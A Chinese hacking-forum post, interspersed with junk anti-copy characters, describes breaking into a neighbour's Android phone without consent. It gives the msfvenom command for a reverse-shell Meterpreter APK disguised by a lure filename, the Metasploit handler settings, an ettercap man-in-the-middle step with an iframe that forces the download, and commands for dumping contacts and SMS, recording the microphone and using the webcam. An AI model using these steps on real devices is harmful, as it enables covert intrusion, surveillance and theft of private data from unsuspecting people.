中国网络渗透测试联盟

标题: metasploit+ettercap中间人攻击成功入侵邻居手机 [打印本页]
作者: admin    时间: 2018-10-20 20:30
标题: metasploit+ettercap中间人攻击成功入侵邻居手机

4 `' j1 `' T$ o& I" Z8 I6 E 五、msf+ettercap入侵邻居安卓手机 $ z( p9 r! b, a5 N& F" c

. z5 d; m* V5 U9 ~8 z) W

1 A3 B/ p, d: K7 t. K% l1 L+ w 首先启动msf 0 }# ~. d+ R* r7 X

4 w. S) R9 N6 C8 R1 p9 |3 X! {1 y

3 Z$ B1 N3 _ j5 d" @ 先用kali生成一个安卓木马，如下命令： ' v/ R- G5 P7 ?8 I

0 @4 o' K6 P7 X

3 B6 f N4 o. e! O( V* n+ F Msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.109 LPORT=44444 -o ~/Desktop/ribenav.apk . d( O3 D X1 y7 ?0 M9 k& D

^8 m. A# S1 I" c. L/ l# Y( X

1 W* ~; {4 R+ P8 i, Y4 V; l; \( l 为了能让对方下载以后安装我这里将马的名字命名为ribenav.apk,哈哈邻居可是个“大色鬼”，就不适用替换下载的方法了，据我所知，邻居频繁使用手机浏览器浏览新闻 0 E+ z; U0 x5 r: }

. N% f1 y) ~) U( F2 _ q- C$ O

+ d5 H( U& F: S! L( c* L6 v3 k 然后进入msf : d, S% h" i. J( F. y, n, w6 c0 N

# O7 m. j. X' [. O) u

1 m, d4 v- M2 o$ h/ b; e use exploit/multi/handler ! H4 z3 M. J& j: Q1 o

. F3 p& j/ w* s5 `: i9 F1 G, M

2 w# i; K: ~" \; J set payload android/meterpreter/reverse_tcp 1 ]& _1 @2 C N, k, _$ C

4 G- \ R/ O! h/ ]! W

/ b( `( [. j) E& C2 E2 O# w set LHOST 192.168.0.109 //ip为kaili的ip ! t+ G9 p V$ i8 E2 }. r: s; R

( | F9 G% {# x% n

' |2 ]; j: a! o set LPORT 44444 //端口一定要与前面生成的木马的端口一致 9 V: k! A3 Z4 m

/ L! p" f8 o- [- N# D

" Z4 l8 u6 d# d9 f: G Exploit 0 J. [5 `; b3 R h

/ F! v1 A) j/ d4 d

- C+ [' V$ _. `' N4 I4 K   5 D1 k, z( s3 H$ b% O$ E- `

! V& J) ?! p' m* `

p4 P4 j! i% p* ^ 下面我们开启ettercap -G * e& R& ?7 ^) ~

) a' {8 g* ]6 ^! Y" O* U

G j1 ?1 @, S% c: B' b 我物理IP为 2 i- ?' {- H1 e

) V9 S) U( c( L0 s! W8 e

) W: _7 D* v L+ U   0 Y, V7 {9 h, U0 _/ E

/ V; h0 e, R+ |3 u7 z

. Y% Z6 ?. B0 d+ R( ^+ p1 i 别到时候再把我物理机欺骗了，之前测试物理机只装腾讯管家是可以成功欺骗的， 8 q) n+ f8 l, f: B

" _+ B6 N4 T/ `3 E/ D# f& Z- I$ t

; n4 K& q% F9 _8 j# a 下面我们来设置一下 ( I+ A! i& G# c& u8 ~

$ |. c, w* q! ?. ] R" v+ J

' h; ^/ }5 O4 E. k5 E   % x! v/ s* Q _" \, F

$ @' C+ w8 [1 P: G& X

) K2 r% G" m: m, O 在开启欺骗之前我们先把生成的apk马丢到kaili var/www/html下，并创建一个index.htm文件内容为：<iframe src=http://192.168.0.109/ribenav.apk></iframe>,因为apk文件嘛要想直接提示下载，用iframe语句就OK了， ( e( Z7 u/ u( W6 J9 I, t. i

7 q% t+ u" k; f( O

- U8 g9 F* h: _   5 H3 }- b1 Y7 V' ~: O q$ O! N

1 M: y0 x0 E% ]2 [ B/ q

0 E: I7 C& f* \# G' t) L! d# y! z   * C* H! F# z5 W8 U) V: ]

, L4 p& w0 e" ^+ k; b8 \

' ?+ q7 W. m, F   ( H0 B) ], F& h/ ?1 D

5 }" A/ c3 c. r; N

+ i. c" l% N3 A, }9 [7 z- B$ u; K   : q e+ |7 u' l" K+ ~" w2 X

% l) B- L) t( T( {, C

/ @+ r! t) S" {   ; ]" y: ]( s8 H. P4 Z4 \) _

( v. S7 c" a9 `2 E/ u/ p7 y

- v* }/ t2 S8 m; r1 S   ; ?+ m* O" |# k# V2 B' ^

" \9 n; w. ?- z# M/ }

3 I9 L, P" |4 k$ F4 L8 e   1 q# R7 X: G* H1 l: s# n u. L$ A

( L7 _. `/ V" A& o: S( {

2 n; X6 b" o; S   $ V7 _) h; l. K- U- m

# c" ]; i# j; p2 f+ a

; M7 w$ O/ m% v" Z; j/ @+ ?' d   ' f! p& t+ ~) z) y0 C4 K- A8 [

+ j+ i; u$ z- J* i

. V2 a8 R3 m9 a* ?7 V7 Z& D" V   0 T' k# L/ `$ h) ^6 ?! V+ J

4 ]0 r+ _) F* m; f2 y$ H: w. w6 K

6 L0 ?9 d# U) t6 k: V5 N* r2 B   9 G. Z' l" @/ X

6 }, F5 u+ K: c) _: q$ ?

" [) ?6 @, L8 |' d0 w; }   ! K3 J( N# [! m$ ~

- q6 D" w f' y- v

" Y4 L) `# A# ?5 d   * G' \) J3 h, M0 K" C

( N* k/ v2 b. A% i" s3 T

3 ?8 L/ E0 a& s: k# O5 M 下面我们开始攻击 2 D. R" }5 t' B% e" T7 F

# y4 D0 }' w' V, c) t5 J" p6 S

! x; ?5 e( J( ^   ' O& ^6 `& e9 w* K J5 O' A/ ^

* V) e# L5 x9 x, o- c# G+ g

! E: w" S& f" v, ]5 ?: b7 }8 E   9 K, z. Y. `' `; j1 W7 H7 n% Q

: \+ Y3 D" h# r( }" K

( f$ O' O5 s$ c: H4 j   # m" q/ @/ G% X* C* g7 Y2 [

U2 I8 } a L/ Z R* H' Z+ K$ X

% l. p5 q( I: g! I- k/ m/ h   4 b _& j% w" E& e# J

& I7 G* U2 B$ k6 `6 O' X

{3 X; X6 P' @   . Y% C( y; p+ |# y

: F( q) |. e6 X) J: ^

0 G. h, G' I% U 大概过了5分钟多，发现反弹成功了 / @* z4 Z( n/ W- d+ U v

4 I4 \& z- W1 r" c' S Z2 R7 _

" G9 ~! s8 {9 u5 S7 d   / B6 K& W C. Y, g" b

& s" |6 K- l6 C% i& V

. l5 l) [' K: r   ) j% x Q/ D' |" I( Z1 u

* y/ @0 e# Q% z1 E8 ~; _8 c

! w1 z6 _* m5 G' N: ]( a   , w+ ~7 _8 q4 _$ b4 M- N T

, o, }6 ?# u4 U9 B8 {

$ [- s9 ]2 o# M2 B6 |$ A2 C8 ?   / f4 p0 S f0 A

1 G* {' T+ l" i4 ?4 r- c

( X a: d( m7 M* O" P   , \+ R; o4 P( o D$ _

4 V( |8 t- G u* W

8 e+ z8 P# R4 E C' z/ h. |. B/ U9 v   3 D; y7 D1 _) T( ?' Q

1 i( G- ?* s, g& p

G; M* F/ z* t/ N* f5 p/ C% O   : D% l% M$ \; k+ n5 u) B2 ]7 l5 J

0 r3 ^4 e7 X9 g1 j4 V% I

( X' K8 ?5 _ v- `/ ` 执行命令 8 |+ R& ~& u3 f* f6 J0 w

3 d K* Z( d; p! k, @; H

$ c" ^6 X" v* q( j   6 e* {- a: i3 r- D

7 e% A& q) i# j- ]0 B$ B: e

j1 ^' H3 p0 P dump_contacts    --》这个是导出电话 : Q5 }0 ]& E: Y! i Q( ]* X

* k3 }( a7 S- ]8 N% |- A

7 I$ @, h, v# k' Q# y5 `: Q# P0 n1 x+ _ dump_sms --》这个是导出信息 7 D) I$ B. Y. W/ L) p6 v5 g

3 x+ o. m, D1 F% P

% f) u5 l5 C f' {6 Y, V# G record_mic     Record audio from the default microphone for X seconds 1 h" o( `+ u i/ J& E

& P( j: E5 M }0 s ?2 c

7 T6 e( N- C, {) A; E! }5 E5 D     webcam_chat    Start a video chat 5 G$ |' u, Z2 X& z' u6 w1 \8 w

' q/ \. o) i8 _) }" w

, R9 [% V# p# C     webcam_list    List webcams : g! ^$ A0 }% N6 W8 X

% G& |) l' c6 r

6 t9 k5 C2 w1 |* L) R- A Y6 P     webcam_snap    Take a snapshot from the specified webcam % g. i, h+ V9 g0 K3 ]

" ?$ y( b" M; `3 b

7 ]& r8 y) P# ~! u webcam_stream  lay a video stream from the specified webcam ; }; a3 ?1 R7 D: U2 K; m

$ Z9 N/ ?* R. r2 i$ _

( L- U1 Z) Z2 z" U2 _   " u# ~6 g/ z8 u3 X |

# J& x, v4 T7 H% y

4 B2 @8 u1 ~# S2 v; t   1 b5 ^& r( X$ R8 j) J: b

; L7 S% M7 U3 {

& g m. S1 j ~' O9 Q* v, q1 Z9 N 我们打开看一下电话薄， , |/ j4 W' Z! T: e/ u

; U3 j: ?/ j# u. x2 ?# }8 _' [. }- F- G

2 D: q: n& f- v5 a7 f) }0 \   2 \$ u2 }; c& `

/ [/ E! t Q" H+ S1 S

! r6 |" \! D$ t' L6 K   " S3 t8 I8 m% i2 [% x* d

' d2 C& U8 t# G# z$ \2 _ W

6 X* k- w3 P: u" r$ R3 `2 S5 P   ! N! R5 A+ G0 l0 Y" I T; m0 g

$ u# c, Z) V- N" f) p6 _

! \$ K. p' S* c8 |& x8 [   ' t" ]/ g8 a* y5 r- m

( F% v9 R8 E, f" x2 t

* n* l, e, @1 T3 {- {: [- a2 [   9 @' h# W4 i# t1 C+ n

/ ]: r8 k: I5 h* q5 h7 s

% Z$ M) C% K* x2 b   5 P) k" J" w1 i9 y

9 |/ Y' v4 n/ s% k! [

1 }; ]1 Y5 e# }1 B" n I# E 我们同时欺骗成DroidJack木马，使用方法如图： 4 B" H/ V& J/ b/ m1 q* F4 d0 V

A C6 \2 j' m: D

- K9 a/ L! t# @' K! ~6 S' C2 `   9 T, N6 l% l6 c! x

1 T# w1 T; p( A

4 g" z: ~! [( K5 `3 i L   4 n9 _, I0 n* s/ |! K- d) F* H9 N

1 b3 Z f4 p( Q

0 C0 x# H# U0 S# D4 H# D$ P   4 L2 ^7 b' U% }$ ]9 o! G9 ~

6 F' u7 h0 ^8 O0 f9 Q

8 {- Q; d, J/ k& P# h 切记在前面生成完马以后记得在这里选择开关为on，并且对应前面生成马的时候的端口 4 h# N" V% l' M4 S6 H2 Y

; D, l, _4 Q8 P3 l* u/ i/ p8 g/ }

, O: A& ?, U1 t, ~* d6 s   4 b8 n: J9 a3 ^# ~4 D. F" K8 t

, b5 `# n1 h: \% E

9 C, G% o7 v1 p( G: I$ a( w   / N+ a# J6 ]$ \3 I

: @: W9 C1 X$ J! }( `" i

" L) K. _+ W& g   0 W. c8 U' o8 P! y2 z- d6 j, K

/ U% s' M( o: l

2 L" y! B, E x( W! j$ K / q: L! n8 `1 }0 `1 z5 z1 u

6 U' }# |0 l( S5 K6 y. M. @. L

8 [1 I; r* A7 X- r9 u, n0 B( L
0 i# G( R8 |6 L8 p# w# z3 a





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2